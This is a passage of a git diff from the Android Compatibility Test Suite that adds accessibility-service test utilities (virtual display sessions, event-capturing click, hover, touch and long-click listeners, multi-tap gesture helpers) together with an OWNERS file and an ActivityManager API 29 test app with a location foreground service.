+        final List<AccessibilityWindowInfo> windowsOfDisplay = allWindows.get(displayId);
+        return findWindowByTitleWithList(title, windowsOfDisplay);
     }
 
     public static void homeScreenOrBust(Context context, UiAutomation uiAutomation) {
@@ -230,4 +231,74 @@
             uiAutomation.setOnAccessibilityEventListener(null);
         }
     }
+
+    private static <T extends Activity> T launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+            Instrumentation instrumentation, UiAutomation uiAutomation,
+            ActivityLauncher activityLauncher, int displayId) throws Exception {
+        final int[] location = new int[2];
+        final StringBuilder activityPackage = new StringBuilder();
+        final Rect bounds = new Rect();
+        final StringBuilder activityTitle = new StringBuilder();
+        // Make sure we get window events, so we'll know when the window appears
+        AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
+        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+        uiAutomation.setServiceInfo(info);
+        // There is no any window on virtual display even doing GLOBAL_ACTION_HOME, so only
+        // checking the home screen for default display.
+        if (displayId == Display.DEFAULT_DISPLAY) {
+            homeScreenOrBust(instrumentation.getContext(), uiAutomation);
+        }
+
+        final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
+                () -> {
+                    mTempActivity = activityLauncher.launchActivity();
+                    instrumentation.runOnMainSync(() -> {
+                        mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+                        activityPackage.append(mTempActivity.getPackageName());
+                    });
+                    instrumentation.waitForIdleSync();
+                    activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
+                },
+                (event) -> {
+                    AccessibilityNodeInfo node = event.getSource();
+                    if (node != null) {
+                        final AccessibilityWindowInfo window = node.getWindow();
+                        if(TextUtils.equals(activityTitle, window.getTitle())) {
+                            return  true;
+                        }
+                    }
+                    final AccessibilityWindowInfo window =
+                            findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
+                    if (window == null) return false;
+                    window.getBoundsInScreen(bounds);
+                    mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+                    if (bounds.isEmpty()) {
+                        return false;
+                    }
+                    return (!bounds.isEmpty())
+                            && (bounds.left == location[0]) && (bounds.top == location[1]);
+                }, DEFAULT_TIMEOUT_MS);
+        assertNotNull(awaitedEvent);
+        return (T) mTempActivity;
+    }
+
+    private static AccessibilityWindowInfo findWindowByTitleWithList(CharSequence title,
+            List<AccessibilityWindowInfo> windows) {
+        AccessibilityWindowInfo returnValue = null;
+        if (windows != null && windows.size() > 0) {
+            for (int i = 0; i < windows.size(); i++) {
+                final AccessibilityWindowInfo window = windows.get(i);
+                if (TextUtils.equals(title, window.getTitle())) {
+                    returnValue = window;
+                } else {
+                    window.recycle();
+                }
+            }
+        }
+        return returnValue;
+    }
+
+    private static abstract class ActivityLauncher {
+        abstract Activity launchActivity();
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
index a65d859..e11c60e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/DisplayUtils.java
@@ -14,18 +14,118 @@
 
 package android.accessibilityservice.cts.utils;
 
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+import static android.view.Display.FLAG_PRIVATE;
+
 import android.app.Activity;
+import android.content.Context;
+import android.graphics.PixelFormat;
 import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Looper;
+import android.util.DisplayMetrics;
+import android.view.Display;
 import android.view.Window;
+import android.view.WindowManager;
+
+import com.android.compatibility.common.util.TestUtils;
 
 /**
  * Utilities needed when interacting with the display
  */
 public class DisplayUtils {
+    private static final int DISPLAY_ADDED_TIMOUT_MS = 5000;
+
     public static int getStatusBarHeight(Activity activity) {
         final Rect rect = new Rect();
         Window window = activity.getWindow();
         window.getDecorView().getWindowVisibleDisplayFrame(rect);
         return rect.top;
     }
+
+    public static class VirtualDisplaySession implements AutoCloseable {
+        private VirtualDisplay mVirtualDisplay;
+        private ImageReader mReader;
+
+        public Display createDisplay(Context context, int width, int height, int density,
+                boolean isPrivate) {
+            if (mReader != null) {
+                throw new IllegalStateException(
+                        "Only one display can be created during this session.");
+            }
+            mReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
+                    1 /* maxImages */);
+            int flags = isPrivate ? 0
+                    :(VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | VIRTUAL_DISPLAY_FLAG_PUBLIC);
+            mVirtualDisplay = context.getSystemService(DisplayManager.class).createVirtualDisplay(
+                    "A11yDisplay", width, height, density, mReader.getSurface(), flags);
+            return mVirtualDisplay.getDisplay();
+        }
+
+        @Override
+        public void close() {
+            if (mVirtualDisplay != null) {
+                mVirtualDisplay.release();
+            }
+            if (mReader != null) {
+                mReader.close();
+            }
+        }
+
+        /**
+         * Creates a virtual display and waits until it's in display list.
+         * @param context
+         * @param isPrivate if this display is a private display.
+         * @return virtual display.
+         *
+         * @throws IllegalStateException if called from main thread.
+         */
+        public Display createDisplayWithDefaultDisplayMetricsAndWait(Context context,
+                boolean isPrivate) {
+            if (Looper.myLooper() == Looper.getMainLooper()) {
+                throw new IllegalStateException("Should not call from main thread");
+            }
+
+            final Object waitObject = new Object();
+            final DisplayManager.DisplayListener listener = new DisplayManager.DisplayListener() {
+                @Override
+                public void onDisplayAdded(int i) {
+                    synchronized (waitObject) {
+                        waitObject.notifyAll();
+                    }
+                }
+
+                @Override
+                public void onDisplayRemoved(int i) {
+                }
+
+                @Override
+                public void onDisplayChanged(int i) {
+                }
+            };
+            final DisplayManager displayManager = (DisplayManager) context.getSystemService(
+                    Context.DISPLAY_SERVICE);
+            displayManager.registerDisplayListener(listener, null);
+
+            final WindowManager windowManager = (WindowManager) context.getSystemService(
+                    Context.WINDOW_SERVICE);
+            final DisplayMetrics metrics = new DisplayMetrics();
+            windowManager.getDefaultDisplay().getRealMetrics(metrics);
+            final Display display = createDisplay(context, metrics.widthPixels,
+                    metrics.heightPixels, metrics.densityDpi, isPrivate);
+
+            try {
+                TestUtils.waitOn(waitObject,
+                        () -> displayManager.getDisplay(display.getDisplayId()) != null,
+                        DISPLAY_ADDED_TIMOUT_MS,
+                        String.format("wait for virtual display %d adding", display.getDisplayId()));
+            } finally {
+                displayManager.unregisterDisplayListener(listener);
+            }
+            return display;
+        }
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java
new file mode 100644
index 0000000..116bccf
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingClickListener.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.view.View;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** A click event listener that keeps an ordered record of events. */
+public class EventCapturingClickListener implements View.OnClickListener {
+
+    private final BlockingQueue<View> mViews = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onClick(View view) {
+        mViews.offer(view);
+    }
+
+    /** Insure that the specified views have received click events. */
+    public void assertClicked(View... views) {
+        View view;
+        try {
+            for (View v : views) {
+                long waitTime = 5; // seconds
+                view = mViews.poll(waitTime, SECONDS);
+                assertNotNull(
+                        "Expected click event for "
+                                + v.toString()
+                                + " but none present after "
+                                + waitTime
+                                + " seconds",
+                        view);
+                if (v != view) {
+                    fail("Unexpected click event for view" + view.toString());
+                }
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /** Insure that no click events have been received. */
+    public void assertNoneClicked() {
+        try {
+            long waitTime = 1; // seconds
+            View view = mViews.poll(waitTime, SECONDS);
+            if (view != null) {
+                fail("Unexpected click event for view" + view.toString());
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java
new file mode 100644
index 0000000..87d46ba
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingHoverListener.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static android.view.MotionEvent.ACTION_HOVER_MOVE;
+import static java.util.concurrent.TimeUnit.SECONDS;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.view.MotionEvent;
+import android.view.View;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** This Listener listens for and logs hover events so they can be checked later by tests. */
+public class EventCapturingHoverListener implements View.OnHoverListener {
+
+    private boolean shouldConsumeEvents; // whether or not to keep events from propagating to other
+    // listeners
+    private final BlockingQueue<MotionEvent> mEvents = new LinkedBlockingQueue<>();
+
+    public EventCapturingHoverListener(boolean shouldConsumeEvents) {
+        this.shouldConsumeEvents = shouldConsumeEvents;
+    }
+
+    public EventCapturingHoverListener() {
+        this.shouldConsumeEvents = true;
+    }
+
+    @Override
+    public boolean onHover(View view, MotionEvent MotionEvent) {
+        assertTrue(mEvents.offer(MotionEvent.obtain(MotionEvent)));
+        return shouldConsumeEvents;
+    }
+
+    /** Insure that no hover events have been detected. */
+    public void assertNonePropagated() {
+        try {
+            long waitTime = 1; // seconds
+            MotionEvent event = mEvents.poll(waitTime, SECONDS);
+            if (event != null) {
+                fail("Unexpected touch event " + event.toString());
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Check for the specified hover events. Note that specifying ACTION_HOVER_MOVE will match one
+     * or more consecutive ACTION_HOVER_MOVE events.
+     */
+    public void assertPropagated(int... eventTypes) {
+        MotionEvent ev;
+        long waitTime = 5; // seconds
+        try {
+            List<String> expected = new ArrayList<>();
+            List<String> received = new ArrayList<>();
+            for (int e : eventTypes) {
+                expected.add(MotionEvent.actionToString(e));
+            }
+            ev = mEvents.poll(waitTime, SECONDS);
+            assertNotNull(
+                    "Expected " + expected + " but none present after " + waitTime + " seconds",
+                    ev);
+            // By this point there is at least one received event.
+            received.add(MotionEvent.actionToString(ev.getActionMasked()));
+            ev = mEvents.poll(waitTime, SECONDS);
+            while (ev != null) {
+                int action = ev.getActionMasked();
+                if (action != ACTION_HOVER_MOVE) {
+                    received.add(MotionEvent.actionToString(action));
+                } else {
+                    // Add the current event if the previous received event was not ACTION_MOVE
+                    String prev = received.get(received.size() - 1);
+                    if (!prev.equals(MotionEvent.actionToString(ACTION_HOVER_MOVE))) {
+                        received.add(MotionEvent.actionToString(action));
+                    }
+                }
+                ev = mEvents.poll(waitTime, SECONDS);
+            }
+            assertEquals(expected, received);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java
new file mode 100644
index 0000000..5daf89e
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingLongClickListener.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.view.View;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/** A click event listener that keeps an ordered record of events. */
+public class EventCapturingLongClickListener implements View.OnLongClickListener {
+
+    // whether or not to keep events from propagating to other listeners.
+    // Note that setting this to false means that the accessibility service will see both a long
+    // click and a click event when you perform a double tap and hold gesture
+    private boolean shouldConsumeEvents;
+    private final BlockingQueue<View> mViews = new LinkedBlockingQueue<>();
+
+    public EventCapturingLongClickListener(boolean shouldConsumeEvents) {
+        this.shouldConsumeEvents = shouldConsumeEvents;
+    }
+
+    public EventCapturingLongClickListener() {
+        this.shouldConsumeEvents = true;
+    }
+
+    @Override
+    public boolean onLongClick(View view) {
+        mViews.offer(view);
+        return true;
+    }
+
+    /** Insure that the specified views have received long click events. */
+    public void assertLongClicked(View... views) {
+        View view;
+        try {
+            for (View v : views) {
+                long waitTime = 5; // seconds
+                view = mViews.poll(waitTime, SECONDS);
+                assertNotNull(
+                        "Expected long click event for "
+                                + v.toString()
+                                + " but none present after "
+                                + waitTime
+                                + " seconds",
+                        view);
+                if (v != view) {
+                    fail("Unexpected long click event for view" + view.toString());
+                }
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /** Insure that no click events have been received. */
+    public void assertNoneLongClicked() {
+        try {
+            long waitTime = 1; // seconds
+            View view = mViews.poll(waitTime, SECONDS);
+            if (view != null) {
+                fail("Unexpected long click event for view" + view.toString());
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
index d7ae4592..3997ebe 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/EventCapturingTouchListener.java
@@ -16,22 +16,109 @@
 
 package android.accessibilityservice.cts.utils;
 
+import static android.view.MotionEvent.ACTION_MOVE;
 
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.view.MotionEvent;
 import android.view.View;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.LinkedBlockingQueue;
 
 public class EventCapturingTouchListener implements View.OnTouchListener {
+    private static final long WAIT_TIME_SECONDS = 5;
+    private static final long MIN_WAIT_TIME_SECONDS = 2;
+    // whether or not to keep events from propagating to other listeners
+    private boolean shouldConsumeEvents;
+    private final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
 
-    public final BlockingQueue<MotionEvent> events = new LinkedBlockingQueue<>();
+    public EventCapturingTouchListener(boolean shouldConsumeEvents) {
+        this.shouldConsumeEvents = shouldConsumeEvents;
+    }
+
+    public EventCapturingTouchListener() {
+        this.shouldConsumeEvents = true;
+    }
 
     @Override
     public boolean onTouch(View view, MotionEvent motionEvent) {
         assertTrue(events.offer(MotionEvent.obtain(motionEvent)));
-        return true;
+        return shouldConsumeEvents;
+    }
+
+    /** Insure that no touch events have been detected. */
+    public void assertNonePropagated() {
+        try {
+            MotionEvent event = events.poll(MIN_WAIT_TIME_SECONDS, SECONDS);
+            if (event != null) {
+                fail("Unexpected touch event " + event.toString());
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Check for the specified touch events. Note that specifying ACTION_MOVE will match one or more
+     * consecutive ACTION_MOVE events.
+     */
+    public void assertPropagated(int... eventTypes) {
+        MotionEvent ev;
+        try {
+            List<String> expected = new ArrayList<>();
+            List<String> received = new ArrayList<>();
+            for (int e : eventTypes) {
+                expected.add(MotionEvent.actionToString(e));
+            }
+            ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+            assertNotNull(
+                    "Expected " + expected + " but none present after " + WAIT_TIME_SECONDS
+                            + " seconds",
+                    ev);
+            // By this point there is at least one received event.
+            received.add(MotionEvent.actionToString(ev.getActionMasked()));
+            ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+            while (ev != null) {
+                int action = ev.getActionMasked();
+                if (action != ACTION_MOVE) {
+                    received.add(MotionEvent.actionToString(action));
+                } else {
+                    // Add the current event if the previous received event was not ACTION_MOVE
+                    String prev = received.get(received.size() - 1);
+                    if (!prev.equals(MotionEvent.actionToString(ACTION_MOVE))) {
+                        received.add(MotionEvent.actionToString(action));
+                    }
+                }
+                ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+            }
+            assertEquals(expected, received);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public List<MotionEvent> getRawEvents() {
+        List<MotionEvent> motionEvents = new ArrayList<>();
+        MotionEvent ev;
+        try {
+            ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+            while (ev != null) {
+                motionEvents.add(ev);
+                ev = events.poll(WAIT_TIME_SECONDS, SECONDS);
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        assertFalse(motionEvents.isEmpty());
+        return motionEvents;
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
index 99fa727..fa415ce 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -22,12 +22,31 @@
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.graphics.Path;
 import android.graphics.PointF;
+import android.view.MotionEvent;
 import android.view.ViewConfiguration;
 
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
+import java.util.Random;
 import java.util.concurrent.CompletableFuture;
 
 public class GestureUtils {
 
+    public static final Matcher<MotionEvent> IS_ACTION_DOWN =
+            new MotionEventActionMatcher(MotionEvent.ACTION_DOWN);
+    public static final Matcher<MotionEvent> IS_ACTION_POINTER_DOWN =
+            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_DOWN);
+    public static final Matcher<MotionEvent> IS_ACTION_UP =
+            new MotionEventActionMatcher(MotionEvent.ACTION_UP);
+    public static final Matcher<MotionEvent> IS_ACTION_POINTER_UP =
+            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_UP);
+    public static final Matcher<MotionEvent> IS_ACTION_CANCEL =
+            new MotionEventActionMatcher(MotionEvent.ACTION_CANCEL);
+    public static final Matcher<MotionEvent> IS_ACTION_MOVE =
+            new MotionEventActionMatcher(MotionEvent.ACTION_MOVE);
+
     private GestureUtils() {}
 
     public static CompletableFuture<Void> dispatchGesture(
@@ -73,7 +92,7 @@
 
     public static StrokeDescription longClick(PointF point) {
         return new StrokeDescription(path(point), 0,
-                ViewConfiguration.getLongPressTimeout() * 3 / 2);
+                ViewConfiguration.getLongPressTimeout() * 3);
     }
 
     public static StrokeDescription swipe(PointF from, PointF to) {
@@ -141,4 +160,103 @@
     public static PointF ceil(PointF p) {
         return new PointF((float) Math.ceil(p.x), (float) Math.ceil(p.y));
     }
+
+    public static GestureDescription doubleTap(PointF point) {
+        return multiTap(point, 2);
+    }
+
+    public static GestureDescription tripleTap(PointF point) {
+        return multiTap(point, 3);
+    }
+
+    public static GestureDescription multiTap(PointF point, int taps) {
+        return multiTap(point, taps, 0);
+        }
+
+    public static GestureDescription multiTap(PointF point, int taps, int slop) {
+        GestureDescription.Builder builder = new GestureDescription.Builder();
+        long time = 0;
+        if (taps > 0) {
+            // Place first tap on the point itself.
+            // Subsequent taps will be offset somewhere within slop radius.
+            // If slop is 0 subsequent taps will also be on the point itself.
+            StrokeDescription stroke = click(point);
+            builder.addStroke(stroke);
+            time += stroke.getDuration() + 40;
+            for (int i = 1; i < taps; i++) {
+                stroke = click(getPointWithinSlop(point, slop));
+                builder.addStroke(startingAt(time, stroke));
+                time += stroke.getDuration() + 40;
+            }
+        }
+        return builder.build();
+    }
+
+    public static GestureDescription doubleTapAndHold(PointF point) {
+        GestureDescription.Builder builder = new GestureDescription.Builder();
+        StrokeDescription tap1 = click(point);
+        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 40, longClick(point));
+        builder.addStroke(tap1);
+        builder.addStroke(tap2);
+        return builder.build();
+    }
+
+    private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
+        int mAction;
+
+        MotionEventActionMatcher(int action) {
+            super();
+            mAction = action;
+        }
+
+        @Override
+        protected boolean matchesSafely(MotionEvent motionEvent) {
+            return motionEvent.getActionMasked() == mAction;
+        }
+
+        @Override
+        public void describeTo(Description description) {
+            description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
+        }
+    }
+
+    public static Matcher<MotionEvent> isAtPoint(final PointF point) {
+        return isAtPoint(point, 0.01f);
+    }
+
+    public static Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
+        return new TypeSafeMatcher<MotionEvent>() {
+            @Override
+            protected boolean matchesSafely(MotionEvent event) {
+                return Math.hypot(event.getX() - point.x, event.getY() - point.y) < tol;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("Matching to point " + point);
+            }
+        };
+    }
+
+    public static Matcher<MotionEvent> isRawAtPoint(final PointF point) {
+        return isRawAtPoint(point, 0.01f);
+    }
+
+    public static Matcher<MotionEvent> isRawAtPoint(final PointF point, final float tol) {
+        return new TypeSafeMatcher<MotionEvent>() {
+            @Override
+            protected boolean matchesSafely(MotionEvent event) {
+                return Math.hypot(event.getRawX() - point.x, event.getRawY() - point.y) < tol;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("Matching to point " + point);
+            }
+        };
+    }
+
+    public static PointF getPointWithinSlop(PointF point, int slop) {
+        return add(point, slop / 2, 0);
+    }
 }
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index f99f8bf..66070cb 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -21,6 +21,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Not testing features backed by native code, so only need to run against one ABI -->
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- Uses SwitchUserTargetPreparer to switch to system so running secondary is not relevant -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
new file mode 100644
index 0000000..58d02a3
--- /dev/null
+++ b/tests/admin/OWNERS
@@ -0,0 +1,9 @@
+# Bug component: 100560
+sandness@google.com
+rubinxu@google.com
+eranm@google.com
+kholoudm@google.com
+pgrafov@google.com
+alexkershaw@google.com
+arangelov@google.com
+scottjonathan@google.com
diff --git a/tests/app/ActivityManagerApi29Test/Android.bp b/tests/app/ActivityManagerApi29Test/Android.bp
new file mode 100644
index 0000000..ed3a613
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsActivityManagerApi29",
+    defaults: ["cts_support_defaults"],
+    srcs: ["**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
new file mode 100644
index 0000000..2ae7497
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.cts.activitymanager.api29">
+    <uses-sdk android:minSdkVersion="11" android:targetSdkVersion="29" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+        <activity android:name=".SimpleActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <service android:name="LocationForegroundService"
+            android:foregroundServiceType="location"
+            android:exported="true">
+        </service>
+    </application>
+</manifest>
diff --git a/tests/app/ActivityManagerApi29Test/res/values/colors.xml b/tests/app/ActivityManagerApi29Test/res/values/colors.xml
new file mode 100644
index 0000000..d67d56a
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <drawable name="black">#77ffffff</drawable>
+</resources>
diff --git a/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java b/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java
new file mode 100644
index 0000000..86ea295
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/src/android/app/cts/LocationForegroundService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.activitymanager.api29;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class LocationForegroundService extends Service {
+    private static final String NOTIFICATION_CHANNEL_ID =
+            LocationForegroundService.class.getSimpleName();
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        getSystemService(NotificationManager.class).createNotificationChannel(
+                new NotificationChannel(NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
+        Notification status = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle("LocalForegroundService running")
